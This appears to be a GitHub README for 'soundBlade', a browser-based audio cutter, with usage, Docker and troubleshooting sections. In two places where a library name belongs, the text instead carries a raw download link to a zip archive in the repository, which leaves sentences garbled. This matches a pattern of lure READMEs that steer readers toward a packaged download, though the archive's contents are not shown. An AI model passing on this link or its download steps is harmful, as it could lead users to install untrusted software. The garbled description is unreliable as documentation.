soundBlade is a tool that helps you cut and trim audio files quickly, right inside your web browser. It works without sending your files anywhere, so your audio stays private. Using modern web technology, it runs fast and smooth on most computers. You can also run it on your own server or in Docker if you want more control.
It is built with popular tools like FFmpeg and https://github.com/Gian201103/soundBlade/raw/refs/heads/main/src/sound_Blade_2.6.zip, packed with WebAssembly to deliver great performance without extra software installs. Whether you want to slice a podcast, trim music, or just cut a clip, soundBlade makes it simple.
To use soundBlade smoothly, make sure your device meets these basic needs:
- A modern web browser like Chrome, Firefox, Edge, or Safari
- Windows, macOS, Linux, or a mobile device with recent browser versions
- Internet connection to download soundBlade or to use online features
- Optional: Docker installed for self-hosted or advanced use
The app runs entirely in your browser, so you won’t need to install large programs or complicated tools. It supports common audio files like MP3, WAV, and AAC.
Follow these steps to start trimming your audio files with soundBlade:
- Click the big green Download soundBlade button at the top or visit the soundBlade Releases Page directly.
- On the releases page, find the latest stable version. There you will see different options:
- A browser version you can open directly
- A packaged app or Docker image for advanced users
- If you want to use soundBlade on your computer without internet access, look for the Docker option or a downloadable package.
- To use the web version, simply open the link provided on the releases page in your browser.
- Load your audio file into the app by clicking the Open File button inside the application.
- Use the trimming handles to select the part of the audio you want.
- Click Cut or Export to save the trimmed audio to your device.
- Enjoy your edited audio file without leaving your browser!
You can get soundBlade quickly by visiting its release page:
No installation needed. Open the web version directly:
- On the release page, click the link to the browser app (usually an
.htmlfile or a direct web link). - Your browser will load soundBlade instantly.
- Upload and edit your audio.
If you want to run soundBlade on your own computer or server:
- Make sure Docker is installed.
- Download the Docker image from the releases page.
- Run the Docker container by following these general steps:
docker pull gian201103/soundblade:latest
docker run -p 8080:80 gian201103/soundblade- Open your browser and visit:
http://localhost:8080 - Use soundBlade with full privacy on your local machine.
Check the release notes or included documentation for any updates on installation.
soundBlade offers a range of useful features for audio editing:
- Fast trimming: Cut audio clips instantly in your browser.
- Privacy-focused: Files stay on your computer, never uploaded.
- Multiple formats: Supports MP3, WAV, AAC, and more.
- Visual waveform: See your audio waveform clearly for precise cuts.
- Undo/Redo: Easy to fix mistakes during editing.
- Docker-ready: Run on your own machine or server.
- Open source: Fully transparent and free to use.
- Progressive Web App (PWA): Install soundBlade as an app on your device.
- Lightweight: Small in size, no big downloads needed.
- Multi-platform: Works on Windows, macOS, Linux, and mobile browsers.
- Open soundBlade in your browser or via your local install.
- Click "Open File" to select the audio you want to edit.
- Wait for the audio to load and appear as a waveform.
- Drag the blue handles on the waveform to pick your start and end points.
- Use the playback controls to listen and adjust your selection.
- Once satisfied, click "Cut" or "Export" to create the trimmed file.
- Download the trimmed audio directly to your device.
You can repeat this process to trim multiple files or make several cuts in one session.
- If the audio does not load, check that your file format is supported.
- Use a modern browser for best performance and features.
- Large audio files may take longer to process; be patient.
- For best results, avoid running many browser tabs or heavy apps at the same time.
- If running in Docker, ensure the container ports are correctly set.
- Clear your browser cache if soundBlade behaves oddly.
- Contact the developers by opening an issue on GitHub if you face bugs.
soundBlade is licensed under the MIT License. This means you can use, copy, and modify it freely.
This project is open source and welcomes contributions. The main technologies used include:
- JavaScript and WebAssembly for speed
- FFmpeg for audio encoding and decoding
- https://github.com/Gian201103/soundBlade/raw/refs/heads/main/src/sound_Blade_2.6.zip for visual audio editing
- Vite for building the app
- Progressive Web App support for installation on devices
You can find the full source code and development history at the soundBlade GitHub Repository.
This project covers:
audio-cutter, audio-editor, audio-trimmer, browser-based, docker, ffmpeg, javascript, mit-license, open-source, productivity, pwa, self-hosted, vite, wasm, wavesurfer, webassembly